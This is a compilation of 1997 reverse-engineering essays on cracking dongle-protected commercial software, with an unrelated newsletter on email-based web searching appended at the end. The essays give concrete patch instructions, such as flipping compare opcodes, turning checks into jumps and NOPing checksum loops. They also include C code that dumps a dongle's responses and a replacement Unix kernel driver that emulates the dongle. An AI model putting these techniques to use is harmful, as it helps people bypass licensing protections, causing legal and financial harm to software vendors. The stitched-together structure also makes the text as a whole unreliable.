Jumper (GetHaspID)
004D2DC0: FE 07 84 05 08 00 14 00-50 07 00 00 00 00 6C 00 ;07 (00..00) cmp 0
-- ----------- -----
004D2DD0: E8 03 34 04 94 02 A2 05-08 00 00 00 E6 03 20 05
-----> (6c) different
004D2DE0: 84 05 08 00 10 00 50 07-00 00 00 00 AE 00 E8 03 ;07 (00..00) cmp 0
-- ----------- -----------> (ae) smaller
004D2DF0: B0 04 84 05 08 00 0C 00-50 07 00 00 00 00 AE 00 ;07 (00..00) cmp 0
-- ----------- -----
004D2E00: E8 03 88 04 50 07 00 00-01 00 84 05 08 00 10 00
-----> (ae) smaller
004D2E10: 04 01 50 07 00 00 01 00-44 01 50 07 FF FF 00 00
ok now, i'll skip the other hex code and try to give you a basic code..
(note: i tried to generate the basic code myself, so real code can be
different, but anyway this will give you an idea.)
Service = IS_HASP
Call hasp(Service, SeedCode, LptNum, Passw1, Passw2, p1&, p2&, p3&, p4&)
If p1& = 0 Then
'if p1&(ret code1) =0 then No Hasp Found
End If
Service = GET_HASP_STATUS
Call hasp(Service, SeedCode, LptNum, Passw1, Passw2, p1&, p2&, p3&, p4&)
'If ??? = 3 Then
'can be p1&+p2&+p3&=3 ??
'End If
Service = GET_ID_NUM
Call hasp(Service, SeedCode, LptNum, Passw1, Passw2, p1&, p2&, p3&, p4&)
If p3& <> 0 Then
'if p3&(ret code3 (status))<>0 then No Hasp ID returned.
Else
'The ID number is a 32 bit integer constructed from the following
'equation : p2*65536+p1
'The following computation converts the two 16 bit integers returned
'from the hasp routine to a 32 bit integer.
If p2& <0 Then If p1& < 0 Then ID&="(65536" + p2&) * 65536 + 65535 + p1& Else
ID&="(65536" + p2&) * 65536 + p1& End If Else If p1& < 0 Then ID&="p2&" * 65536 +
65536 + p1& Else ID&="p2&" * 65536 + p1& End If If ID&="MyID" then 'Heyo.... :))))
End IF End If ok.. to crack this program just change "56"(equal)'s to "6c"(not equal)
and vice versa. and you're done.. :) X) Conclusion Part ok, since we're finished with
cracking here are some more notes from your fav. cracker. 0) Remember many hasp
protected programs have the codes given above. So when you get a hasped program, just
search the code.. comment some and you're done.. :) 1) don't ever worry about the
garbage codes. our aim is the haspreg call. after the haspreg call, we'll have
registers loaded with return codes which we can modify. 2) if the program uses
memohasp also check the haspreg call, since the memory contents will be soon returned
to an address thus we can gain the info. (you must have the dongle to read the memory
contents) 3) Animadeus and I was working on a HaspEmulator but we found a
HaspEmulator by MeteO/UCL for DOS. (well done MeteO) but we may release our
WinHaspEmulator. :))) 4) Get MeteO's programs, too. He seems to have spent hell a lot
of time reverse engineering Hasp. (#ucl'97 @ Efnet and http://ucl.homepage.ru) 5)
Keep my introduction to hasp doc handy. You'll need it to understand what your target
program is doing. 6) si3.21 and ida 3.7 rocks.. :) (consider buying them) 7) cracking
a program, i use Camel, Pepsi, Sepultura, Slayer. (for deeper code "analysis,.class"
tppabs="http://fravia.org/analysis,.class" Pantera is also fine) 8) very special
greets go to Animadeus (thanx for morale support), The Owl (thanx for morale support.
btw, i'm still thinkin' about that 1k chess, eheh) Razzia (thanx for the loong
chats), eMX! (nice to see you back in town) 9) and the ppl in #cracking/#crackers..
hii pals.. A) watch out for my sentinel, fast-eye (hardlock) docs.. soon.. Until next
time, have fun! Zafer/BSCA End of part C, added 19 October1997
1.0 InCall
2.0 VxD
Zafer's GREETINGS
Until next time, have fun! -Zafer/BSCA GreETz for this doc: FatalicA, eMX!, Razzia, xOANON, Rasel, Bonito, Cophiber,
Section Jaguar and my partners in reversing. GreETz for part C: FatalicA, eMX!, Razzia, Animadeus, The Owl, xOANON,
Rasel, Bonito, Cophiber Mad Jester, LordByte, Doc-Man and my partners in reverse enginering. (c) Zafer, 1997. All rights
reversed.
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to project 3
homepage links anonymity +ORC students' essays tools cocktails
academy database antismut search_forms mail_fravia
is reverse engineering legal?
by +DataPimp
Well, +DataPimp has indeed "specialised" in CD-ROM protections, yet he has now started to work on this 'related' cracking
subject! Well, you would not have thought that some 'so called' dongles just check THEIR OWN PRESENCE ON THE
PORTS... would you? And yet, look here! An easy (yet important) further step!
by -= +DataPimp =-
Yes dongles, there was only two dongle essays there and since
I contributed to the Cd-Check essays I would have to say that I wanted
to contribute this to project as well. I would have to say that this is
my first dongle and I was able to defeat it's protection within a matter
of about 1 or 2 minutes. This software is not freely downloadable, but
you can -if you like- find it on the internet, it is the same exact
version that was released by PWA.
OK, so you have the software, let's get going so we can run this
software and see what it looks like. Ok, after you have installed the
program go ahead and run it, you will see a msg box pop up with a message
saying the 'protect key' was not found, and some other junk telling you
to contact them etc.
Ok, now we are not going to use Soft-Ice on this at all, we are
going to decompile the "netxray.exe" file and view it's code.
Once you have decompiled it, we are going to search for the string
"sorry". You will notice that it is found rather quickly, and this
is the code we find:
|
:00401B59 6878325500 push 00553278 <-prepare Nag :00401B5E E835E40F00
call 004FFF98 <-Call Nag This is a classic Bad Guy, Good Guy test, and can easily be
defeated. At Code "Data.class" tppabs="http://fravia.org/Data.class" Location
"00401B53" all we have to do is change that to a "jmp"... of course now it does not
matter any more if the dongle is found or not the code snippet will continue to allow
the running of the program. I hope that this has helped people with the understanding
of dongles, I know that I have learned something myself, and that has made it all
worth while. Thanks for reading, DataPimp@hotmail.com
(c) +DataPimp 1997. All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
by Dr. Fuhrball
(6 November 1997)
Dongle cracking
Courtesy of fravia's page of reverse engineering
Well, I have received this good essay more than a week ago, yet I bat Dr. Fuhrball to 'deepen' it a little,
since many of our readers could be VERY interested in unix cracking, yet may not be very well acquinted
with some of the concepts that unix experts give for granted. Dr Fuhrball was so kind to modify and
revise his essay. Here it is, I'm sure many of you will find it partiicularly interesting.
at whats going on. I have now seen at least 5 different dongles that all use the national semiconductor
eeprom, in various creative ways, but its basically the same thing. The logic analyzer trick certainly
works, because you can see the entire data stream and if you wanted to you could create a completely
compatable device which combined with a small software program would allow you to read out all of the
data, and then program it into your own device. However the use of dongles tends to cause other
problems, especially with most new bi-directional laser printers. So the desire to remove the device is
preferable. The logic analyzer method relys on the fact that there is really only one data output line, one
clock line and one data input line. The rest of the lines are either do not care, or held in a high or low
state to enable the device. (The new Rainbow technologies software sentinel pro is just a fancied version
of same, with the addition of their 8 shift register with adjustable feedback of old), 100% proprietary of
course. Of Course I also have a MSCS (Master of Science, Computer Science), and that lends me to the
software crack. Which is elegant because it does not touch the origional aries code. And thats good,
because the main executable is over 10mb. And with their update of the month club, you could be
cracking this thing for the rest of your life. In addition there are 6 different executables that would need
cracking. This crack once installed, lasts forever. Back to the story; When you install this program it adds
a device driver that talks to the dongle. In all unix's, virtually everything is done with device drivers. hard
disk, serial ports, ethernet ports, the video display... You can even access memory through a device
driver. Virtually all X86 based unix's today based on AT&T 5.4 code do the following in exactly the
same manner. (SCO,Interactive, UHC, Consensys, Novell Unix....) (BSDI and Solaris are different
however but these tricks still hold) running strings on Driver.o module in the /etc/conf/pack.d/mp shows
among others the following symbols. (all unix drivers are stored in /etc/conf/pack.d/drivername and
consist of an object module and possibly a C tunables file called space.c) (also on new unix's, these
directorys are actually symbolicly linked to somewhere else) mpopen, mpclose, mpread, mpwrite... So
now we have the names to look at in kernel space. Fire up adb on /unix and disassemble starting at
mpopen and you get (one of the nice things about unix is that you can always get to kernel space, but be
careful patching a live kernel) dumpfile = /dev/mem, namelist = /unix, outfile = stdout > mpopen
pushl %ebp mpopen+1 movl %esp,%ebp mpopen+3 subl $0x0,%esp mpopen+9 pushl %ebx mpopen+a
pushl %edi mpopen+b pushl %esi mpopen+c testb $0x1,0xd00ee570 [-,valeur_port +1c] mpopen+13 je
0x0c <d0093559> [mpopen+25] mpopen+19 movb $0x10,0xe00010e9 [-,u+10e9] mpopen+20 jmp
0x012 <d009356b> [mpopen+37] mpopen+25 data16 mpopen+26 movw $0x1,0xd00ee570
[-,valeur_port +1c] mpopen+2e data16 mpopen+2f movw $0x0,0xd00ee572 [valeur_port +1e]
mpopen+37 popl %esi mpopen+38 popl %edi mpopen+39 popl %ebx mpopen+3a leave mpopen+3b ret
mpclose pushl %ebp mpclose+1 movl %esp,%ebp mpclose+3 subl $0x0,%esp mpclose+9 pushl %ebx
mpclose+a pushl %edi mpclose+b pushl %esi mpclose+c data16 mpclose+d movw $0x0,0xd00ee570
[valeur_port +1c] mpclose+15 popl %esi mpclose+16 popl %edi mpclose+17 popl %ebx mpclose+18
leave mpclose+19 ret
further example
cat >/dev/mp
type in P1234*
hit a control Z
cat </dev/mp
5678
What we are doing here is taking the simple way out. Instead
of figuring out the 32 words of data in the eeprom and then
calculating the masks, we just interrogate every possible
request and tabulate every possible answer. If this was a
32 bit number, this technique would not be practical.
Thus
/* read data from real microphar dongle */ /* using the real driver and a real key */ #include <stdio.h>
#include <signal.h> #include <errno.h> FILE *fps,*fopen(); main() { unsigned lvalue,address;
fps=fopen("/dev/mp","r+"); printf("unsigned int data[] = {"); for
(address=0; address<=65535; address ++) { fprintf(fps,"P%d*",address); fseek(fps,0L,0);
fscanf(fps,"%d",&lvalue); printf("%d , ",lvalue); } printf("}"); fclose(fps); }
Thus
#include <sys/types.h> #include <sys/errno.h> #include <sys/param.h> #include <sys/sysmacros.h>
#include <sys/signal.h> #include <sys/dir.h> #include <sys/seg.h> #include <sys/page.h> #include
<sys/user.h> #include <sys/cmn_err.h> #include "datafile" struct valeur_port { unsigned
char p; unsigned short p8; unsigned char pa,pb,pc,pd; unsigned short p10,p12,p14,p16,p18,p1a,p1c; short
p1e,p20; unsigned short p22; short p24; }valeur_port; mpopen(dev,flag) short int dev,flag; { if
(valeur_port.p1c & 0x1) u.u_error=EBUSY; else { valeur_port.p1c=1; valeur_port.p1e=0; } }
mpclose(dev,flag) short int dev,flag; { valeur_port.p1c=0; } mpwrite(dev,flag) short int dev,flag; { while
((valeur_port.p20 = cpass()) >= 0) { switch (valeur_port.p1e) { case 0 : if(valeur_port.p20 == 'P') {
valeur_port.p1e=1; valeur_port.p22=0; } break; case 1 : w1(); default: break; } } } w1() { unsigned int
temp; if (valeur_port.p20 != '*') { if (valeur_port.p20 >= '0') { if (valeur_port.p20 <= '9') {
valeur_port.p22="valeur_port.p22*10;" valeur_port.p22="valeur_port.p22+(valeur_port.p20-'0');" return;
} } return; } else { /* this was added for debugging and is now removed*/ /*cmn_err
(CE_NOTE,"!%x,",valeur_port.p22);*/ valeur_port.p1e="0;" valeur_port.p8="data[valeur_port.p22];" }
} mpread(dev,flag) short int dev,flag; { unsigned int temp; temp="0x2710;" /* 10000 */ passc(0x30);
while (temp> 0) { passc((valeur_port.p8/temp)+'0'); valeur_port.p8= valeur_port.p8 % temp;
temp=temp/10; } passc('\n'); }
cc mp.c -o Driver.o
mv Driver.o /etc/conf/pack.d/mp
cd /etc/conf/cf.d
Answer yes.
The answer here does not matter. But for example if you have
changed major and minor device numbers (which we have not) you
would have to answer yes, because device names in the /dev directory
would no longer be pointing to the right place.
Matter of fact, a lot of things fail the fiat shamir test. Go search
the web, lots of good reading on this topic.
this via the software methods, or replace their driver with another,
A downloadable version of a hardware emulator can make this quite
easy to use.
Other fun targets. The protection DEC uses on their unix that runs
on the alpha motherboards. This one could be fairly tough.
You are deep inside fravia's page of reverse engineering, choose your way out:
project3
by The+Chineese
UNIVERSALIS 1 (1995):
------------------------
(16 bit writen in VBasic and BC++ (VBRUN300.dll and use Hasp.386))
the Weakness:
the Difficulties:
the EU.DLL is moveable, it's not easy to put a breakpoint with S-ice
EU.DLL is called by VBRUN300.DLL
the Weakness:
same as above with the error message: "La cl de protection est absente"
the Difficulties:
the Difficulties:
TOOLS:
-------------
-S-ice 3.21
-WDasm8.9 (or previous)
-Hworks32 (any Editor)
and ultraedit32 for writing this essay :-)
INTRODUCTION
---------------
in the Universalis Case using bpio (-h) 378 (379/379 etc) doesnt Works
and if we look at the dea-listing of EU.DLL
we found suspicious function like PINIT, PTEST etc..
Disassembly of File: Eu.dll
...
as you can see this dll is moveable so it's hard to bpx at this Function !
then fire cdul.exe(or cdu.exe) and you 'll break at messagebox and after two F12 in
Sice
you stand here (at 0014.39d ) in PTEST (in fact PTEST is called very often (in
Background)
and is TESTING if you have not removed the Dongle )
So if we make the change the code at 0014.35e and 0014.36e we defeat the Dongle Test
But we notice that if there is no more messagebox warning us about "pas de Dongle"
the proggy doesnt works at all cause the search index is not initialised.
in fact We forgot the PINIT function ! (The PINIT function Test the Dongle
and if there is one it make the search index initialisation)
so bpx messagebox
fire the proggy (cdu.exe or cdul.exe)
and when you break into Messagox do 3 F12
and you stand in VBRUN300.DLL in a call Far Routine
in fact you are in the routine who call all the PINIT, PTEST function of EU.DLL
in VBRUN300.DLL
2277:6488 call Far es:[bx] <-- Now we can bpx at this adress
call 6522
call 67D1
mov cl,FF
Add di,di
jmp cs:[DI+6498]
.
.
.
and in here we bpx 2277:6488 at the call Far es:[bx]
we quit universalis
...
...
...
* Possible StringData Ref from Code Seg 001 ->"$HASP$CHECKSUM" <-- Well ! there is a
checksum
| Now we have a
confirmation
:0001.3DAB BEA525 mov si, 25A5
:0001.3DAE 1E push ds
:0001.3DAF 8BFE mov di, si
:0001.3DB1 8BF3 mov si, bx
:0001.3DB3 B9FFFF mov cx, FFFF
:0001.3DB6 F2 repnz
:0001.3DB7 AE scasb
:0001.3DB8 F7D1 not cx
:0001.3DBA 2BF9 sub di, cx
:0001.3DBC 87FE xchg si, di
:0001.3DBE 1E push ds
:0001.3DBF 06 push es
:0001.3DC0 1F pop ds
:0001.3DC1 07 pop es
:0001.3DC2 D1E9 shr cx, 01
:0001.3DC4 F3 repz
:0001.3DC5 A5 movsw
:0001.3DC6 13C9 adc cx, cx
:0001.3DC8 F3 repz
:0001.3DC9 A4 movsb
:0001.3DCA 1F pop ds
What we know ?:
(i dont explain here the checksum scheme because it's not the more
important thing , we have just to remember how to recognize a checksum
i.e looking for _lread, _lseek, openfile etc...)
look at this
:0006.0279 0E push cs
:0006.027A E8CBFD call 0048
:0006.027D 8BF0 mov si, ax
:0006.027F 0BF6 or si, si
:0006.0281 7403 je 0286 <-- same as UNIV Version 1
NOP it (9090)
:0006.0283 E9B300 jmp 0339
....
....
....
end of UNIVERSALIS 2.
:0005.0216 57 push di
:0005.0217 EB14 jmp 022D
:0005.0219 00000000000000000000 BYTE 10 DUP(0)
:0005.0223 00000000000000000000 BYTE 10 DUP(0)
:0005.022D FF367619 push word ptr [1976]
:0005.0231 16 push ss
:0005.0232 8D8672FE lea ax, [bp+FE72]
:0005.0236 50 push ax
:0005.0237 68FF00 push 00FF
:0005.023A 9AFFFF0000 call KERNEL.GETMODULEFILENAME
:0005.023F 16 push ss
:0005.0240 8D8672FE lea ax, [bp+FE72]
:0005.0244 50 push ax
:0005.0245 16 push ss
:0005.0246 8D8672FF lea ax, [bp+FF72]
:0005.024A 50 push ax
:0005.024B 6A00 push 0000
:0005.024D 9AFFFF0000 call KERNEL.OPENFILE
:0005.0252 8BF8 mov di, ax <-- we Break Here in sice
after BPX OPENFILE
:0005.0254 0BFF or di, di
:0005.0256 7D0E jge 0266
:0005.0258 B88C03 mov ax, 038C
:0005.025B 5F pop di
:0005.025C 5E pop si
:0005.025D 8D66FE lea sp, [bp-02]
:0005.0260 1F pop ds
:0005.0261 5D pop bp
:0005.0262 4D dec bp
:0005.0263 CB retf
:0005.0264 EB34 jmp 029A
:0005.0266 C646FB01 mov byte ptr [bp-05], 01
:0005.026A EB10 jmp 027C
:0005.026C 57 push di
:0005.026D 6A01 push 0001
:0005.026F 9AFFFF0000 call 0001.3D45h <-- Call for Checksum
:0005.0274 83C404 add sp, 0004
:0005.0277 8BF0 mov si, ax
:0005.0279 FE46FB inc byte ptr [bp-05]
:0005.027C 807EFB03 cmp byte ptr [bp-05], 03 <-- 3 Time Checksum
:0005.0280 7CEA jl 026C <--- NOP NOP (9090)
:0005.0282 57 push di
:0005.0283 9AFFFF0000 call KERNEL._LCLOSE
:0005.0288 0BF6 or si, si
:0005.028A 740E je 029A <-- Jmp 29a (EB0E)
:0005.028C B88D03 mov ax, 038D
:0005.028F 2BC6 sub ax, si
:0005.0291 5F pop di
:0005.0292 5E pop si
:0005.0293 8D66FE lea sp, [bp-02]
:0005.0296 1F pop ds
:0005.0297 5D pop bp
:0005.0298 4D dec bp
:0005.0299 CB retf
:0005.029A 6A0A push 000A
--------------------
RESUME
--------------------
Encyclopaedia Universalis is really a good and complete
French Encyclopaedia.
But The Protection Scheme is not really good (not at all)!
Even if it use MEMOHASP Dongle ,its not a hard Crack,
cause u dont need The Dongle To crack it at 100%!
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to project 3
by zeezee
(24 December 1997, slightly edited by fravia+)
hi fravia+
This time comes a little more 'general' essay about dongle cracking.
After winning with 4 dongles and loosing with one I can draw some general
conclusions which may help all will-be dongle crackers
Now read and enjoy... +HCU's dongle cracking is gaining 'momentum' (was about time... this crap 'faked hardware'
solution was gaining too much place (and easy money) on the protection scene... funny! As if a good logic analyzer would
not be enough to crack any stupid dongle black and blue!
I'll tell you what I like about this essay: zeezee DOES NOT gives us here any specific target! In fact to know which target a
cracker is working on is mostly utterly unimportant... the important thing for us is to learn HOW to reverse this kind of
code, not to learn how to crack a specific program... Hey! You better learn it right now in 1997 (you have still a week
before 1998), should you never have understood it until now: there are BILLIONS software programs out there... well, most
are crap, yet say there are hundred thousands good software programs you could eventually enjoy out there... what's the
point of giving any luser a 'specific' crack? (besides... most of the time it's much more fun cracking such software than using
it :-)
You dig it? A 'specific' target crack (with few exceptions) has therefore -mostly- NO interest whatsoever for us... what we
want is to understand how another fellow +cracker tackled HIS target in order to tackle OUR (completely different) ones
with this knowledge somewhere in our 'collective memory'... therefore zeezee's approach is VERY GOOD. You won't learn
here how to deprotect a specific dongle target, you will -eventually- learn how to crack your own dongle protected crap
next year! (Let's hope you'll write an essay on your approach :-)
Have a happy new 1998!
Disclaimer:
I don't publish here any dongle-protected program names since it's not my goal
to make battles with lawyers, you see only relevant code snippets. This
tutorial is not about one specified software or dongle. The example given is
from a real program not widely available. The program itself isn't important.
Dongles are small boxes connected to the LPT port (or sometimes to COM port) of
your computer. They should be (in fact they are in 99%) invisible to printer
connected to this port. There are variants of dongles mounted inside computer
but for us, the exact appearance of the dongle isn't important.
Inside of the dongle is an EEPROM or ASIC or maybe a dead fly. For us this is
only a black box which receives / sends data from our application via piece of
software (dongle API) which is sold with the dongle to app developers.
The app writers call the API and check values returned to make good/bad guy
jumps.
Tools needed are usual: IDA, SoftICE, HIEW. And of course our application.
No logic analyzer, oscilloscope, maybe LED monitor if you really want it.
It's not so hard in most cases. Either look at the dongle if you have
access to it, or look at all files that install with your soft, then you may
search all .DLL's, .VXD's etc. for copyright text other than application authors.
You find it quickly in almost all cases.
*2* Gather all possible information from www pages of dongle vendor.
This is VERY IMPORTANT STEP!
You will wonder how much doc you get. Full API, often with source, demo soft,
examples how to use API with your future biggest program etc. Get it all and
study carefully.
Remember: ALL computer hard/soft vendors are present in the Net. Just find them.
Don't panic when you read all info about dongle security. They ARE secure. OK.
You can't crack them unless they're done by complete idiots. OK.
But you want to crack the application, NOT the dongle.
When you read about RSA encryption, one-way functions and see in the
API some interesting Question/Answer hashing functions, remember that it's only
API. No one uses it. Only simple functions like Check/Serial Number/Read and
sometimes Write are used.
*3* You may also get an evaluation dongle from dongle dealer. For free.
If not for free ask for 14-day lease. It works! They want to sell these boxes.
Call these 0-800 or 0130 numbers. They want to help you unless you say something
stupid when asked for software you want to protect.
*4* Now you know the dongle/app you want to crack and have (or not) some additional
info. Time to think (+Orc calls it Zen).
Imagine a software company making big good proggy. The proggy is almost finished,
then comes the boss and says: "Ok, we're ready, now is the time to protect our
fantastic product. We have a demo kit from dongle X. So, dear programmers, use
it".
And poor programmers are studying dongle docs, API etc and putting some API
calls into their code.
call DONGLE
or ax, ax
jz goodguy
badguy:
Yes, you may not believe it, yet it's true. (See previous essays)
Sometimes they go little further but in most cases, I repeat: in MOST cases
the idea is stupid.
But the chain is so strong as its weakest link. And in all 4 different progs
protected with different dongles the weakest link was the interface:
The dongle manufacturers are smart guys, they know how to encrypt data, make
self-modifying code, anti-debug tricks etc. I recommend: Leave their code as is.
The application side is much easier to crack.
The first thing in real crack is to find THE call (rarely more than one) to
the dongle API, Use IDA or WDASM and remember the name of the DLL containing
dongle API and after several minutes (last time 2 hours and 40MB .IDB file!)
you have it.
Our poor programmers are lazy. Everyone is lazy when it comes to make some
dumb work like calling the dongle. So they write their own functions like:
QuickCheckIfDonglePresent()
GetDongleSerialNumber()
ReadDongleByte( addr ) - or word, or dword, or even full table
WriteDongleByte( addr, value )
Maybe they are exported by name? Maybe the name is ReadDongle or similar?
Look carefully at references IDA gives you. You certainly find it.
You should find procs called only once - they should be interfaces between
The dongle API is very well structured in most cases, the function number is
explicitly given, 0 - check, 1 - get number, 2 - read, 3 - write, etc...
Identify where are params/results.
And this is the thing which helps us crack. We may have also the API docs!
The API producers want to make API maximally user-friendly. They make it also
more cracker-friendly... We may find quickly what the app expects from the
dongle by studying API calls and 'cmp ax' following it.
*5* Then comes the active part (you may need dongle for short period of time)
Patch the code inserting a CC byte in the 'App-API Interface' place(s).
Replace INT 3 with the original byte, then set BPX to this address, trace...
Look what happens when there is no dongle. You may have luck and quickly find
a checkpoint with bad/good guy switch. Try to go the other way and see what
happens (maybe your app starts running).
Then try to emulate GetSerial# routine. Remember that dongle serial# may be
stored and used to display # in About box. See references IDA gives you.
Not all dongles have GetSerial# proc. Sometimes serial# is read like normal
data from dongle.
And then comes to dongle reading. Several bytes are read, I assume that you find
the place where they are stored and all references to this place.
Several checks may happen and certainly will happen in programs with different
options enabled/disabled by the dongle.
mov ecx, 12
lab1:
cmp word ptr [ebx], 1
jne lab2
call enable_option(cx)
lab2:
inc ebx
loop lab1
If you have a working dongle, read all values from it, and you know what to
emulate (set BPX after API read function does his job and make notes).
And here the real example. The app is useless to you, it isn't freely available,
so let's study the disassembly I prepared for you.
00408770 ; S u b r o u t i n e
00408770
00408770 j_CCNMM proc near ; CODE XREF: key_io+6Fp
00408770 jmp ds:CCNMM ; jump to Dongle DLL
00408770 j_CCNMM endp
The name key_io and other below are assigned by me, they are not exported ;-)
Let's go one step up. See: Only one reference. A green light! We are on our
good way.
then:
After checking, I found that key_check2 is called only from the main_key_check,
so we still only have one reference here. We are still inside dongle API code.
Let's go up.
0040B840 ; S u b r o u t i n e
0040B840
0040B840 main_key_check proc near ; CODE XREF: key_fun_00+4Dp
0040B840 ; keyfn_18_sernum+68p
0040B840 ; keyfn_02_write+5Bp
0040B840 ; keyfn_03_read+56p
0040B840 ; key_fun_1b+50p
0040B840 ; key_fun_1c+54p
0040B840 ; key_fun_1d+5Cp
Of course you may ask, how do I know that this is API and not our
application? Quick answer: Funcs 1b, 1c and 1d aren't called!
Do you imagine writing wrappers that are never called? They were written by
the dongle makers and linked to the app.
In fact keyfn_02_write isn't called also. This is good news, the key should
always respond with the same data.
The names of the callers are self-explanatory. Where I got them from?
Studying the procs, that's all, see for example:
0040A262 skc110:
0040A262 mov word ptr ds:key_fun, 18h ; function 18!!!
0040A26B xor eax, eax
0040A26D mov esi, [esp+4+arg_0]
0040A271 mov word ptr ds:key_result_1, magic1
0040A27A mov word ptr ds:key_par3, ax
0040A280 push offset key_par4
0040A285 mov word ptr ds:key_par4, ax
0040A28B push offset key_par3
0040A290 mov word ptr ds:key_par1, magic2
0040A299 mov word ptr ds:key_par2, magic3
0040A2A2 push offset key_par2
0040A2A7 mov [esi], eax
0040A2A9 push offset key_par1
0040A2AE push offset key_result_1
0040A2B3 push offset key_fun
0040A2B8 call main_key_check ; here our call
0040A2BD mov word ptr ds:main_result, ax
0040A2C3 add esp, 18h
....store results...
The magic values are identifying the dongle and the product, so I removed
them... they are unimportant for our cracking.
And this is the top of dongle API. Now it's time to identify what the
API is expected to return. Several 'cmp ax, something' and I was able to emulate
API functions 00 (quick check) and 18 (get serial).
I applied a short patch using HIEW to emulate these functions.
So I wrote a short emulator of key_fn_02_read and now the proggy opens all
options to me.
Conclusions.
* Dongle cracking is not much more complicated as serial# cracking. You need
more theoretical background from dongle producers, good disassembler which
finds all Xrefs and SoftICE of course. The shareware protections are often
much more sophisticated than simple dongle calls in expensive commercial apps.
Of course, there are programs protected better, but they are exceptions.
* Don't start cracking from BPIO on LPT ports. Try to find The Weakest Link!
* Remember, Programmers are lazy when it comes tu put foreign code into their own.
Not all API calls are used. Check simplest functions first and see what happens.
* Let your cracked program run for several minutes. Almost always there is
a dongle check performed each 1 minute or so. Your crack should survive this.
Try all actions the program should perform. Select every item from menu.
Or, if you prefer, study whole disassembly for dongle calls...
* Beware when cracking with real dongles connected. There is theoretically the
possibility to destroy a dongle. Use dongles only to read their contents
and remove them when SoftICE-ing your cracks. They aren't necessary at this
time :-) However I never found any auto-destruction procedure when studying
various dongles API.
Neverthless, you have been warned!
Good Luck!
zeezee
(c) zeezee All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to Project 3
This is an exerpt from a newletter I wrote to explain things to total lamers where I work (I still believed in this in 1996 :-( please excuse the
patronising tone
To: agora@dna.affrc.go.jp
Subject: (nothing here)
send http://www.gateway2000.com/support/techsupt/fb/3000/3047.htm
send http://www.boutell.com/faq/
This will send you the "raw" content of two pages (about Windows 95 and about the WWW).
2) DEEP
To: agora@dna.affrc.go.jp
Subject: (nothing here)
deep http://www.gateway2000.com/support/techsupt/fb/3000/3050.htm
This will send you the "raw" content of a page AND the raw content of all the pages "linked" to this page. Watch it! If there are many links you will
get quite a lot of emailings! Do not use the deep command to start with.
3) SOURCE
To: agora@dna.affrc.go.jp
This will send you the HTML code of these two pages, and you'll therefore be able to see them exactly "as they should be" using a copy of Netscape
that you have previously installed on your harddisk. You can get the most recents versions of Navigator and/or! of Explorer on any CD-ROM
magazine cover nowadays.
In my examples here I have been using a Japanese Agora, but there are other Agora servers that you can use (not many though). The difference
between them is mainly in terms of relative velocity and of the "geographic area" where the results for your querie! s are going to be pulled.
WEBCRAWLER
Here a first query example using WEBCRAWLER, one of the deepest (and best) search engines on the Net. WebCrawler understands plain English
and is programmed with novice users in mind, so you don't need to be a master of Boolean search syntax to unleash its ! power. (Masters of Boolean
syntax can skip to our next Newsletter on "Advanced Searching").
Let's say we are interested in "linguistic phenomena". These should be the contents of our email query:
To: agora@dna.affrc.go.jp
Subject: (nothing here)
Text: send
http://webcrawler.com/cgi-bin/WebQuery?linguistic+phenomena
Webcrawler will then send you a list of the first 25 documents matching your query, you'll be able to retrieve the ones that do interest you using the
ubiquitous Agora system described above.
Webcrawler parameters
&maxHits=25 is the default if omitted. You can choose to view search results 10, 25 or 100 at a time.
if you omit the &summaries=yes variable (short format) you will get the detailed format, which provides titles plus summaries, URLs, numerical
relevancy scores, and the option of viewing similar pages for each result returned
ALTAVISTA
The same search example, this time using AltaVista, the best and quickest search engine on the Net: These should be the contents of your email
message:
To: agora@dna.affrc.go.jp
Subject: (nothing here)
Text: send http://www.altavista.digital.com/cgi-
bin/query?pg=q&what=web&fmt=.&q=linguistic+phenomena
AltaVista parameters:
In order to get the next 30 matches add a "start query" value: &stq=30 (start at 30), for instance:
http://www.altavista.digital.com/cgi-bin/query?pg=q&what=web&stq=30&fmt=.&q=linguistic+phenomena
LYKOS
The same search examples, this time using LYKOS, one of the oldest (and best) search engines on the Net: These should be the contents of your
email message:
To: agora@dna.affrc.go.jp
Subject: (nothing here)
Text: send
http://lycos11.lycos.cs.cmu.edu/cgi-bin/flpursuit?first=1\\&maxhits=30\\
&minterms=1\\&minscore=0.01\\&terse=standard\\&query=linguistic+phenomena
When the Lycos search engine compares each page to your query, it gives higher scores to pages that contain the words as you typed them in. It also
looks for pages that mention these words early on, rather than far down in some sub-section of the site.
The wording of all these queries (which MUST be an unique line) may seem pretty complicated at a first glance, but you'll only need to paste such a
command once, in order to perform your first email query. You'll later use the "sent items" folder (inside yo! ur Exchange program) to fetch
templates in order to perform all your other queries, i.e. you'll need to change only the subjects.
Usually, you'll "shoot" all your queries in the morning and later "collect" your results. This "ping pong" approach may be slow (compared with the
full graphic internet access that the browsers offer) but has some advantages: it leaves for instance a "bread! crumbs" trail that can be useful later. It's
indeed a "bookworm" approach to the Web, instead of a "butterfly" one.
Searches can (and should) be MUCH more complicated than in the examples above, as we'll see in the next newsletters. Here for instance a query
example "narrowed in":
send
http://webcrawler.com/cgi-bin/WebQuery?text=linguistic+phenomena+NOT+%28prefix+OR+%22vowel+weakening
%22%29
We saw, with AltaVista &what=news parameter, a possibility to query newsgroup (Usenet), here is another technique, which may fish quite a lot of
relevant results... albeit somehow a little more complicated. It deserves a try though. Reference.com is an emai! l query service focused on usenet
groups, which lets you search through an archive of more than 16,000 newsgroups and a rapidly growing number of publicly accessible mailing lists.
The quality and quantity of information on usenet is impressive.
To access the service by e-mail, you send an e-mail message containing query commands to: Email-Queries@Reference.COM
Easiest query is:
To: Email-Queries@Reference.COM
Subject: (nothing here)
Text: FIND Web AND searching
END
2) more complex
To: Email-Queries@Reference.COM
Subject: (nothing here)
3) even more complex (and automated) queries are possible. You'll in this case have to register the service (for free) in order to build and develop
your automated queries (through easy little scripts). Send an email with "help" as text to Email-Queries@Ref! erence.COM, you'll get full
instructions.
Exchange may add a signature to your e-mail messages. Specify "END" as the last word in the body of the message: this prevents the robot on
reference.com from interpreting your signature as a query command.
Go ahead, enjoy!
Go ahead, enjoy!
fravia+, December 1966
homepage links +ORC tools students' essays antismut anonymity search (lesson 6) counter measures cocktails search_forms
mail_fravia
fravia+ 04 Nov 97
To: w3mail@gmd.de
Subject: nothing here
Text: get -a -img -l http://fravia.org/index.html
